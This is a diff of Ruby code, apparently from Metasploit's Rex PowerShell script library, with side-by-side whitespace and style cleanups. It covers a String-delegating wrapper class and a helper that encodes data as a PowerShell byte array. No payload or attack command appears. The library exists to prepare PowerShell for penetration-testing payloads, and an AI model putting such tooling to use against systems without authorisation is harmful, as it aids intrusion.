# Pretend we are actually a string # Pretend we are actually a string
extend Forwardable extend Forwardable
# In case someone messes with String we delegate based on its instance methods # In case someone messes with String we delegate based on its instance methods
#eval %Q|def_delegators :@code, :#{::String.instance_methods[0..(String.instance_methods.index(:class)-1)].join(', :')}| # eval %Q|def_delegators :@code, :#{::String.instance_methods[0..(String.instance_methods.index(:class)-1)].join(', :')}|
def_delegators :@code, :each_line, :strip, :chars, :intern, :chr, :casecmp, :ascii_only?, :<, :tr_s, def_delegators :@code, :each_line, :strip, :chars, :intern, :chr, :casecmp, :ascii_only?, :<, :tr_s,
:!=, :capitalize!, :ljust, :to_r, :sum, :private_methods, :gsub,:dump, :match, :to_sym, :!=, :capitalize!, :ljust, :to_r, :sum, :private_methods, :gsub, :dump, :match, :to_sym,
:enum_for, :display, :tr_s!, :freeze, :gsub, :split, :rindex, :<<, :<=>, :+, :lstrip!, :enum_for, :display, :tr_s!, :freeze, :gsub, :split, :rindex, :<<, :<=>, :+, :lstrip!,
:encoding, :start_with?, :swapcase, :lstrip!, :encoding, :start_with?, :swapcase, :encoding, :start_with?, :swapcase, :lstrip!, :encoding, :start_with?, :swapcase,
:each_byte, :lstrip, :codepoints, :insert, :getbyte, :swapcase!, :delete, :rjust, :>=, :each_byte, :lstrip, :codepoints, :insert, :getbyte, :swapcase!, :delete, :rjust, :>=,
@ -29,13 +27,13 @@ module Powershell
:<=, :to_c, :slice!, :chomp!, :next!, :downcase, :unpack, :crypt, :partition, :<=, :to_c, :slice!, :chomp!, :next!, :downcase, :unpack, :crypt, :partition,
:between?, :squeeze!, :to_s, :chomp, :bytes, :clear, :!~, :to_i, :valid_encoding?, :===, :between?, :squeeze!, :to_s, :chomp, :bytes, :clear, :!~, :to_i, :valid_encoding?, :===,
:tr, :downcase!, :scan, :sub!, :each_codepoint, :reverse!, :class, :size, :empty?, :byteslice, :tr, :downcase!, :scan, :sub!, :each_codepoint, :reverse!, :class, :size, :empty?, :byteslice,
:initialize_clone, :to_str, :to_enum,:tap, :tr!, :trust, :encode!, :sub, :oct, :succ, :index, :initialize_clone, :to_str, :to_enum, :tap, :tr!, :trust, :encode!, :sub, :oct, :succ, :index,
:[]=, :encode, :*, :hex, :to_f, :strip!, :rpartition, :ord, :capitalize, :upto, :force_encoding, :[]=, :encode, :*, :hex, :to_f, :strip!, :rpartition, :ord, :capitalize, :upto, :force_encoding,
:end_with? :end_with?
def initialize(code) def initialize(code)
@code = '' @code = ''
@rig = Rex::RandomIdentifierGenerator.new() @rig = Rex::RandomIdentifierGenerator.new
begin begin
# Open code file for reading # Open code file for reading
@ -50,10 +48,9 @@ module Powershell
# Treat code as a... code # Treat code as a... code
@code = code.to_s.dup # in case we're eating another script @code = code.to_s.dup # in case we're eating another script
end end
@functions = get_func_names.map {|f| get_func(f)} @functions = get_func_names.map { |f| get_func(f) }
end end
## ##
# Class methods # Class methods
## ##
@ -66,7 +63,7 @@ module Powershell
# @param var_name [String] Byte array variable name # @param var_name [String] Byte array variable name
# #
# @return [String] input_data as a powershell byte array # @return [String] input_data as a powershell byte array
def self.to_byte_array(input_data,var_name = Rex::Text.rand_text_alpha(rand(3)+3)) def self.to_byte_array(input_data, var_name = Rex::Text.rand_text_alpha(rand(3) + 3))
# File will raise an exception if the path contains null byte # File will raise an exception if the path contains null byte
if input_data.include? "\x00" if input_data.include? "\x00"
code = input_data code = input_data
@ -77,15 +74,15 @@ module Powershell
code = code.unpack('C*') code = code.unpack('C*')
psh = "[Byte[]] $#{var_name} = 0x#{code[0].to_s(16)}" psh = "[Byte[]] $#{var_name} = 0x#{code[0].to_s(16)}"
lines = [] lines = []
1.upto(code.length-1) do |byte| 1.upto(code.length - 1) do |byte|
if(byte % 10 == 0) if (byte % 10 == 0)
lines.push "\r\n$#{var_name} += 0x#{code[byte].to_s(16)}" lines.push "\r\n$#{var_name} += 0x#{code[byte].to_s(16)}"
else else
lines.push ",0x#{code[byte].to_s(16)}" lines.push ",0x#{code[byte].to_s(16)}"
end end
end end
return psh << lines.join("") + "\r\n" psh << lines.join('') + "\r\n"
end end
# #
@ -93,11 +90,9 @@ module Powershell
# #
# @return [Array] Code modifiers # @return [Array] Code modifiers
def self.code_modifiers def self.code_modifiers
self.instance_methods.select {|m| m =~ /^(strip|sub)/} instance_methods.select { |m| m =~ /^(strip|sub)/ }
end end
end # class Script end # class Script
end end
end end
end end